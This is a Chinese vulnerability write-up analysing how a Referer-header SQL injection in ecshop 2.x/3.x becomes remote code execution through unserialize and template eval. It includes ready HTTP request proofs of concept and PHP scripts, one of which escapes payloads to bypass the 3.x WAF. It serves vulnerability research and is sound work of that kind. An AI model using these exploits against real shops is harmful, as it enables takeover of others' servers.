从SQLi到RCE – ecshop 2.x/3.x无限制getshell
如何从SQLi到RCE – ecshope 2/3.x Getshell
分为两个个部分:
- ecshop 2.x getshell
- Bypass ecshop 3.x WAF
Exploit
ecshop 2.x
SQLi POC
1 2 3 4 5 6 7 8 9 10 11
| GET /user.php?act=login HTTP/1.1 Host: test1.ecshop.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:68:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)";s:2:"id";i:1;} Content-Type: application/x-www-form-urlencoded Content-Length: 0 Connection: close Upgrade-Insecure-Requests: 1
|
RCE POC
1 2 3 4 5 6 7 8 9
| GET /user.php?act=login HTTP/1.1 Host: test1.ecshop.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:84:"*/union select 1,0x272f2a,4,4,5,6,7,8,0x7b24275d3b706870696e666f2f2a2a2f28292f2f7d,0";s:2:"id";s:3:"'/*";}554fcae493e564ee0dc75bdf2ebf94ca Connection: close Upgrade-Insecure-Requests: 1
|
ecshop 3.x bypass waf POC
1 2 3 4 5 6 7 8 9
| POST /user.php?act=login HTTP/1.1 Host: test.ecshop.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";S:96:"*/\75\6e\69\6f\6e\20\73\65\6c\65\63\74\20\31\2c\30\78\32\37\32\66\32\61\2c\34\2c\34\2c\35\2c\36\2c\37\2c\38\2c\30\78\37\62\32\34\36\31\32\37\35\64\33\62\37\30\36\38\37\30\36\39\36\65\36\36\36\66\32\66\32\61\32\61\32\66\32\38\32\39\33\62\33\62\32\34\36\31\35\62\32\37\33\31\37\64\2c\30";s:2:"id";s:3:"'/*";}45ea207d7a2b68c49582d2d22adf953a Content-Length: 0
|
Analyze
ecshop 2.x
SQLi
在前台用户登录页面,$back_act
变量从referer中获取,传递到$smarty->assign()
函数中。
user.php
跟进$smarty->assign()
。
includes/cls_template.php
当$tpl_var
不是数组且不为空时,添加到当前对象的_var
数组中。
将上述变量显示到页面上需要$smarty->display()
函数。跟进一下。
includes/cls_template.php
通过这里通过$this->fetch()
->$this->make_complied()
来获取最终呈现在页面上的结果,也就是$out
变量的值,关于Smarty的知识简单的介绍一下。
这里使用了Smarty这个PHP模板框架,原理如图所示。
登录页面的模板文件在themes/default/user_passport.dwt
,编译后的php文件路径为temp/compiled/user_passport.dwt.php
,其中使用了$back_act
值的部分如图所示。
所以我们通过referer控制的值,经过编译以及PHP的运行,最后的呈现出来的结果如下图所示。
回到fetch()
函数,得到$out
的值后判断其中是否存在$this->_echash
,这是一个常量,在这里是554fcae493e564ee0dc75bdf2ebf94ca
,然后进行分割,并进入$this->insert_mod()
函数。
重点来了,一眼看上去这个东西就有问题,一是存在反序列化,二是使用动态调用函数。全局搜索一下function insert_
主要定位在lib_insert里。在这里就先用insert_ads
这个函数。
includes/lib_insert.php
这里可以比较明显的看出SQL语句存在拼接。这里只用了id和num两个参数,所以我们只需要序列化构造这两个参数就可以。这里用id这个参数,这里可以使用extractvalue就行,如果用produce analyse的话5.6.6以上的版本不支持。这里不再赘述了,POC如所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php function poc() { $echash = '554fcae493e564ee0dc75bdf2ebf94ca'; $dyn_func = 'ads'; $poc = array('num'=>'2','id'=>'1\' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#'); $serialize = serialize($poc); $referer = $echash.$dyn_func."|".$serialize; return $referer; } function curl($domain,$referer){ $header = array("Referer: $referer"); $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$domain."/user.php?act=login"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_HTTPHEADER,$header); curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1"); curl_setopt($ch, CURLOPT_PROXYPORT, 8080); $output = curl_exec($ch); curl_close($ch); if($output === FALSE ){ echo "CURL Error:".curl_error($ch); } if(strpos($output, "XPATH syntax error") !== false){ echo "This domain can be pwn!"; } else{ echo "This server is safe!"; } } $domain = "http://test1.ecshop.com"; $referer = poc(); curl($domain,$referer); ?>
|
RCE
继续看insert_ads
这个函数的后半段。
$position_style
是可控的,是从数据库中取出来的
209行的这个$position_style
变量加上了str:
并传入了fetch()
函数,看一眼fetch()
函数。
可以发现,对于开头是str:
的文件名带进了_eval()
这个看起来就很敏感的函数。所以回insert_ads
函数看看如何控制$position_style
的值。
includes/lib_insert.php
从数据库查询出来的表中,position_id
字段的值要与反序列化出来的数组$arr
的id
字段相等,才会进行赋值。那么上面通过控制$arr['id']
来进行注入的方式就不是那么好用了,主要还得通过$arr['num']
来传递payload。
media_type
字段这里给4,为了不执行switch逻辑,以免节外生枝。
所以构造如下payload:
1
| 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:86:"*/union select 1,0x272f2a,4,4,5,6,7,8,0x74657374706f63706f63706f63706f63706f63706f63,0";s:2:"id";s:3:"'/*";}
|
把order by limit给注释掉就可以无限制进行注入了。
回到includes/cls_template.php的fetch()
函数。跟进一下_eval()
的前一步处理fetch_str()
。
还是一个比较复杂的正则,但是问题不大,可以使用https://regex101.com/
来看看这个函数匹配了哪些东西。
先看第一个正则,这个正则主要是过滤一些关键字,分为三个部分,第一个部分匹配除了a-z0-9A-Z_
以外的所有字符,第二部分值一些敏感函数的关键字,最后匹配空格和前半括号一次。
第二个正则不用管,只要不进入if这段逻辑就可以了,最后return的正则也比较简单,就是将匹配到(花括号中的内容)的值传递给$this->select()
,这里phpStorm跟不进去,可以将cls_template.php复制出来,然后在外面调用。
我们先给一个简单的poc:{phpinfo()}
,因为phpinfo在第一个正则会被过滤,所以注释一下,绕过第一个正则。{phpinfo/**/()}
includes/cls_template.php
可以看到在tag
变量第一个字符为$的时候进入 get_val()
,跟一下get_val()
。
这里有一个巨坑的地方,不知道是不是我字体的原因,我这里的phpstorm居然在单双引号中不显示.
这个字符。坑爆了,刚开始以为是匹配$
,后来发现是匹配.$
,升级到最新版本可以解决这个问题。
我们给poc加上$,带进去试试。
跳入get_value
中的图中标出的逻辑。跟进make_var
函数。
可以看到在这个函数中给poc拼接了一些字符串。
所以最终的处理是这样的。
闭合一下。
所以最后带进eval的值如图所示。
构造最终的poc应该为{$'];phpinfo/**/()//}
。序列化一下。
1
| 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:84:"*/union select 1,0x272f2a,4,4,5,6,7,8,0x7b24275d3b706870696e666f2f2a2a2f28292f2f7d,0";s:2:"id";s:3:"'/*";}
|
这个POC执行一下发现,报错了。
调了一下发现是在反序列化的时候有一个参数的空的。
看了一下中间生成的模板,发现其他在分割的时候都如下图所示。
这个主要是display()
函数中的这一段。
所以最后的POC如下所示。
1
| 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:84:"*/union select 1,0x272f2a,4,4,5,6,7,8,0x7b24275d3b706870696e666f2f2a2a2f28292f2f7d,0";s:2:"id";s:3:"'/*";}554fcae493e564ee0dc75bdf2ebf94ca
|
echsop 3.x bypass WAF
用上一次构造的POC打一下,发现被拦了。
搜一下这个字符串。
includes/safety.php
发现3.x带有一个WAF,简单的看了一下,主要是通过正则匹配关键字进行过滤的。
所以POC中不能出现被拦截的关键字,比如 select,union等。
对比了一下2.x和3.x存在漏洞的地方,发现其他位置并没有进行改动。
这里有一个trick可以bypass这个waf - 使用反序列化的escaped binary string类型。
php的反序列化对于转义字符存在一个特性,在序列化和反序列化的时候可以对转义字符进行处理。
众所周知,PHP可以对双引号内的数据进行转义。如图,
所以当然在序列化的时候也可以用。
在反序列化的时候设置数据类型为S时,也可是使用这个特性。(目前没有找到办法可以序列化成S类型,只能通过手动设置)
这里注意一下,S类型的数据长度是转义后的长度,而不是输入数据的长度。
所以刚才的POC注入的SQL语句转成S类型就好了。
下面是POC。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| <?php function strToHex($string){ $hex=""; for($i=0;$i<strlen($string);$i++) $hex.=dechex(ord($string[$i])); $hex=strtolower($hex); return $hex; }
function base_poc($payload){ $base_poc = "{\$a'];$payload//}"; $base_poc = strToHex($base_poc); return $base_poc; }
function referer($base_poc){ $echash = '45ea207d7a2b68c49582d2d22adf953a'; $dyn_func = 'ads'; $poc0 = array('num'=>"*/union select 1,0x272f2a,4,4,5,6,7,8,0x$base_poc,0",'id'=>'\'/*'); $serialize = serialize($poc0); $referer = $echash.$dyn_func."|".$serialize.$echash; return $referer; }
function construt_str($str){ $res = array("origin"=>'',"modified"=>''); $poc_pos0 = strpos($str, "union"); $poc_pos1 = strrpos($str, ",")+2; $poc_len = $poc_pos1 - $poc_pos0; $tmp_poc = substr($str, $poc_pos0,$poc_len); $res['origin'] = $tmp_poc; $res['modified'] = modify_str($tmp_poc); return $res; }
function modify_str($str){ $str = strToHex($str); $insert = '\\'; $str_len = strlen($str); if($str_len % 2 !== 0){ echo "The length of input string is wrong!"; return 0; } for($i = 0; $i<($str_len*3/2); $i=$i+3){ $str = substr_replace($str, $insert, $i ,0); } return $str; }
function replace($origin,$modified,$referer){ $res_poc = str_replace($origin, $modified, $referer); $pos = strpos($res_poc, 'm";') + 3; $res_poc[$pos] = 'S'; return $res_poc; }
function poc($payload){ $base_poc = base_poc($payload); $referer = referer($base_poc); $tmp_res = construt_str($referer); $res = replace($tmp_res['origin'], $tmp_res['modified'], $referer); return $res; } $payload = "phpinfo/**/();"; echo poc($payload)."\n";
?>
|
说点废话
这个漏洞的信息量比较大,还是比较值得学习的。中间电脑拿去修了,所以上下篇隔得时间稍微有点久,望谅解。